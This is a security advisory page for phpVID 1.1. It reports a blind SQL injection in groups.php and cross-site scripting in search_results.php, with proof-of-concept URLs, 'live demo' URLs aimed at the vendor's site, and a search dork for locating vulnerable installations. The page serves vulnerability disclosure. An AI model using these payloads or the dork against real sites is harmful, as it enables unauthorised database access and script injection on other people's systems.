phpVID 1.1 (XSS/SQL) Multiple Remote Vulnerabilities

2008.09.24
Credit: r45c4l
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# est.2007 forum.darkc0de.com # ######################## # --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu # # ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE # # and all darkc0de members ---# ######################## # # Author: r45c4l # # Home : www.darkc0de.com # # Email : r45c4l@hotmail.com # # Share the c0de! # ################################# # # Title: phpVID 1.1 The video sharing script! Multiple Vulnerabilities # # Vendor: http://www.vastal.com/phpvid-the-video-sharing-software.html # Vulnerable Version: 1.1 # ############################# # # d0rk:Powered By Vastal I-Tech's phpVID. # ############################## Vulnerabilities Blind SQL Injection in "groups.php" in the "cat" parameter. Cross Site Scripting in "search_results.php" POC: http://www.site.com/groups.php?type=&amp;&cat=4+and+substring(@@version,1,1)=4 http://www.site.com/search_results.php?query=[XSS] Live Demo: http://www.phpvid.com/groups.php?type=&amp;&cat=4+and+substring(@@version,1,1)=4 http://www.phpvid.com/search_results.php?query=<script>alert(0);</script> ########################################################### # # Bug discovered : 10 Sep.2008 ###########################################################

References:

http://xforce.iss.net/xforce/xfdb/45028
http://www.securityfocus.com/bid/31108


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top